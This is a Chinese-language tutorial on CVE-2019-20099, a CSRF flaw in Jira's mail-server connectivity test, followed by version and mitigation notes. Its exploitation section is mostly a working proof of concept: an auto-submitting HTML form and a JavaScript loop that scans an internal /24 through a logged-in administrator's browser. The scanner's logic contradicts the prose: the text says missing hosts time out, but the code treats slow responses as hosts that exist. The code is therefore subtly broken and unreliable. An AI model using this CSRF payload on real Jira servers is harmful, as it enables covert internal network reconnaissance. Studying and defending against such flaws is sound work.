挖洞经验 | 利用Jira的邮件服务器连通测试功能发现其CSRF漏洞
字数 1402 2025-08-18 11:39:26
Jira CSRF漏洞分析与利用教学文档(CVE-2019-20099)
漏洞概述
本教学文档详细分析Atlassian Jira中存在的跨站请求伪造(CSRF)漏洞(CVE-2019-20099),该漏洞影响Jira Server和Data Center版本8.2.4至8.7.0。通过此漏洞,攻击者可诱使Jira服务端连接任意内部主机,实现内网探测等攻击。
漏洞背景
Jira的CSRF防护机制
Jira实施了以下CSRF防护措施:
- CSRF Token验证:使用HttpOnly Cookie存储CSRF token(
Atlassian.xsrf.token) - 请求参数验证:检查
atl_token参数与Cookie中的token是否匹配 - Referer头验证:验证请求来源与Jira服务端的域名和端口一致性
漏洞发现
研究人员发现Jira在邮件服务器连通性测试功能中,未严格执行上述防护措施,导致CSRF攻击可能。
漏洞详情
受影响功能
邮件服务器配置中的"测试连通性"功能存在缺陷:
- 管理员配置POP3邮件服务器时需要填写:
- 服务器名称
- 主机地址(可指定内网IP)
- 端口号
- 用户凭据
- 底部提供两个按钮:
- 保存配置
- 测试当前配置的连通性
漏洞原理
测试连通性请求存在以下问题:
- 缺少Referer头验证
- 不校验CSRF token参数
- 仅需有效管理员会话Cookie即可触发
漏洞利用
基本利用场景
攻击者可构造恶意页面,诱使已登录的管理员访问,导致:
- Jira服务端连接攻击者指定的内部主机
- 实现内网主机和端口探测
利用步骤
-
搭建测试环境:
- 内网POP3邮件服务器(接收Jira连接)
- 内网Web服务器(托管CSRF攻击页面)
-
构造CSRF攻击脚本:
<form action="http://jira-server/secure/admin/EmailAdminTestConnection.jspa" method="POST">
<input type="hidden" name="serverType" value="POP3" />
<input type="hidden" name="serverName" value="Attacker Server" />
<input type="hidden" name="serverHostname" value="172.16.68.229" />
<input type="hidden" name="serverPort" value="110" />
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="password" />
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
- 观察网络流量:
- 使用Wireshark捕获Jira服务端发起的连接
- 验证是否连接到指定IP和端口
高级利用:内网主机探测
利用XMLHttpRequest的readyState变化检测主机存在性:
-
readyState状态说明:
- 0: 请求未初始化
- 1: 服务器连接已建立
- 2: 请求已接收
- 3: 处理请求中
- 4: 请求已完成且响应就绪
-
探测原理:
- 存在的主机:连接快速失败(state变化快)
- 不存在的主机:约3000毫秒超时
-
PoC脚本示例:
function scanHost(ip) {
var start = new Date().getTime();
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4) {
var elapsed = new Date().getTime() - start;
if(elapsed > 3000) {
console.log(ip + " - Host likely exists");
} else {
console.log(ip + " - Host likely does not exist");
}
}
};
xhr.open("POST", "http://jira-server/secure/admin/EmailAdminTestConnection.jspa", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("serverType=POP3&serverName=Test&serverHostname=" + ip + "&serverPort=110&username=test&password=test");
}
// 扫描内网IP段
for(var i=1; i<255; i++) {
scanHost("172.16.68." + i);
}
验证与防御
漏洞验证方法
- 使用上述CSRF脚本测试邮件服务器连通性功能
- 观察是否无需有效CSRF token即可触发连接
- 检查Referer头是否未被验证
影响范围
- 受影响版本:Jira Server和Data Center 8.2.4至8.7.0
- 修复版本:8.7.1及以上
防御措施
- 升级Jira至最新版本
- 临时缓解:
- 限制管理员访问不受信任的网站
- 实施严格的网络分段
- 监控异常的内部连接尝试
技术总结
该漏洞利用Jira邮件服务器测试功能的CSRF防护缺失,具有以下特点:
- 可强制Jira服务端连接任意内部主机
- 可用于内网主机和端口扫描
- 攻击需要管理员会话Cookie(通过社会工程获取)
- 利用XMLHttpRequest状态变化实现主机探测
参考资源
- Atlassian安全公告
- Tenable研究报告
- FreeBuf漏洞分析文章
本教学文档详细阐述了CVE-2019-20099漏洞的技术细节和利用方法,仅供安全研究和防御参考,请勿用于非法用途。